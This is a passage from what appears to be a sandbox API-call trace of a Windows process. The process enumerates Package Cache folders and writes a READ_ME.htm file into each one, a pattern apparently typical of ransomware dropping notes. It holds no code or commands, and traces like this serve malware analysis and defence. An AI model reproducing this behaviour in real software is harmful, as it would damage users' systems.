ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0139.767] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.767] SetErrorMode (uMode=0x0) returned 0x1 [0139.768] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages", lpFilePart=0x0) returned 0x58 [0139.768] SetErrorMode (uMode=0x1) returned 0x0 [0139.768] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\*" (normalized: "c:\\programdata\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.769] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.769] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0139.769] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0139.769] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.769] SetErrorMode (uMode=0x0) returned 0x1 [0139.769] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages", lpFilePart=0x0) returned 0x58 [0139.769] SetErrorMode (uMode=0x1) returned 0x0 [0139.770] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\*" (normalized: "c:\\programdata\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.770] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.770] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0139.770] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0139.770] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.770] SetErrorMode (uMode=0x0) returned 0x1 [0139.770] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x6d [0139.771] SetErrorMode (uMode=0x1) returned 0x0 [0139.771] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86\\*" (normalized: "c:\\programdata\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\packages\\vcruntimeminimum_x86\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.771] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.771] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb21afe00, ftCreationTime.dwHighDateTime=0x1d5c5ba, ftLastAccessTime.dwLowDateTime=0xb21afe00, ftLastAccessTime.dwHighDateTime=0x1d5c5ba, ftLastWriteTime.dwLowDateTime=0xb21afe00, ftLastWriteTime.dwHighDateTime=0x1d5c5ba, nFileSizeHigh=0x0, nFileSizeLow=0x14de75, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0139.771] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec849b00, ftCreationTime.dwHighDateTime=0x1d5c5ba, ftLastAccessTime.dwLowDateTime=0xec849b00, ftLastAccessTime.dwHighDateTime=0x1d5c5ba, ftLastWriteTime.dwLowDateTime=0xec849b00, ftLastWriteTime.dwHighDateTime=0x1d5c5ba, nFileSizeHigh=0x0, nFileSizeLow=0x2f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0139.771] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec849b00, ftCreationTime.dwHighDateTime=0x1d5c5ba, ftLastAccessTime.dwLowDateTime=0xec849b00, ftLastAccessTime.dwHighDateTime=0x1d5c5ba, ftLastWriteTime.dwLowDateTime=0xec849b00, ftLastWriteTime.dwHighDateTime=0x1d5c5ba, nFileSizeHigh=0x0, nFileSizeLow=0x2f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0139.771] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.772] SetErrorMode (uMode=0x0) returned 0x1 [0139.772] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x6d [0139.772] SetErrorMode (uMode=0x1) returned 0x0 [0139.772] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86\\*" (normalized: "c:\\programdata\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\packages\\vcruntimeminimum_x86\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.772] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93d96330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93d96330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.772] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb21afe00, ftCreationTime.dwHighDateTime=0x1d5c5ba, ftLastAccessTime.dwLowDateTime=0xb21afe00, ftLastAccessTime.dwHighDateTime=0x1d5c5ba, ftLastWriteTime.dwLowDateTime=0xb21afe00, ftLastWriteTime.dwHighDateTime=0x1d5c5ba, nFileSizeHigh=0x0, nFileSizeLow=0x14de75, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0139.772] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec849b00, ftCreationTime.dwHighDateTime=0x1d5c5ba, ftLastAccessTime.dwLowDateTime=0xec849b00, ftLastAccessTime.dwHighDateTime=0x1d5c5ba, ftLastWriteTime.dwLowDateTime=0xec849b00, ftLastWriteTime.dwHighDateTime=0x1d5c5ba, nFileSizeHigh=0x0, nFileSizeLow=0x2f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0139.773] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec849b00, ftCreationTime.dwHighDateTime=0x1d5c5ba, ftLastAccessTime.dwLowDateTime=0xec849b00, ftLastAccessTime.dwHighDateTime=0x1d5c5ba, ftLastWriteTime.dwLowDateTime=0xec849b00, ftLastWriteTime.dwHighDateTime=0x1d5c5ba, nFileSizeHigh=0x0, nFileSizeLow=0x2f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0139.773] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.773] SetErrorMode (uMode=0x0) returned 0x1 [0139.773] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86\\READ_ME.htm", lpFilePart=0x0) returned 0x79 [0139.773] SetErrorMode (uMode=0x1) returned 0x0 [0139.773] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\vcRuntimeMinimum_x86\\READ_ME.htm" (normalized: "c:\\programdata\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\packages\\vcruntimeminimum_x86\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.774] SetErrorMode (uMode=0x0) returned 0x1 [0139.774] GetFileType (hFile=0x1d0) returned 0x1 [0139.774] WriteFile (in: hFile=0x1d0, lpBuffer=0x29769b8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29769b8*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0139.775] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x64 [0139.776] SetErrorMode (uMode=0x1) returned 0x0 [0139.776] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\packages\\READ_ME.htm" (normalized: "c:\\programdata\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\packages\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.776] SetErrorMode (uMode=0x0) returned 0x1 [0139.776] GetFileType (hFile=0x1d0) returned 0x1 [0139.777] WriteFile (in: hFile=0x1d0, lpBuffer=0x297b018*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x297b018*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.778] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\READ_ME.htm", lpFilePart=0x0) returned 0x5b [0139.778] SetErrorMode (uMode=0x1) returned 0x0 [0139.778] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508\\READ_ME.htm" (normalized: "c:\\programdata\\package cache\\{2bc3bd4d-faba-4394-93c7-9ac82a263fe2}v14.25.28508\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.779] SetErrorMode (uMode=0x0) returned 0x1 [0139.779] GetFileType (hFile=0x1d0) returned 0x1 [0139.779] WriteFile (in: hFile=0x1d0, lpBuffer=0x297f648*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x297f648*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.781] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpFilePart=0x0) returned 0x43 [0139.781] SetErrorMode (uMode=0x1) returned 0x0 [0139.781] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x760275f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x760275f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.782] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x760275f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x760275f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.782] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760275f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x760275f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x80d797d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0139.782] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x75fdb330, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x6e172d90, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0139.782] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x75fdb330, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x6e172d90, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0139.782] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.782] SetErrorMode (uMode=0x0) returned 0x1 [0139.782] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpFilePart=0x0) returned 0x43 [0139.783] SetErrorMode (uMode=0x1) returned 0x0 [0139.783] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x760275f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x760275f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.783] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x760275f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x760275f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.783] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760275f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x760275f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x80d797d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0139.783] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x75fdb330, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x6e172d90, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0139.783] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x75fdb330, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x6e172d90, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0139.783] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.784] SetErrorMode (uMode=0x0) returned 0x1 [0139.784] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0139.784] SetErrorMode (uMode=0x1) returned 0x0 [0139.784] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\READ_ME.htm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.785] SetErrorMode (uMode=0x0) returned 0x1 [0139.785] GetFileType (hFile=0x1d0) returned 0x1 [0139.785] WriteFile (in: hFile=0x1d0, lpBuffer=0x2985d30*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2985d30*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.787] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpFilePart=0x0) returned 0x4e [0139.787] SetErrorMode (uMode=0x1) returned 0x0 [0139.787] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package 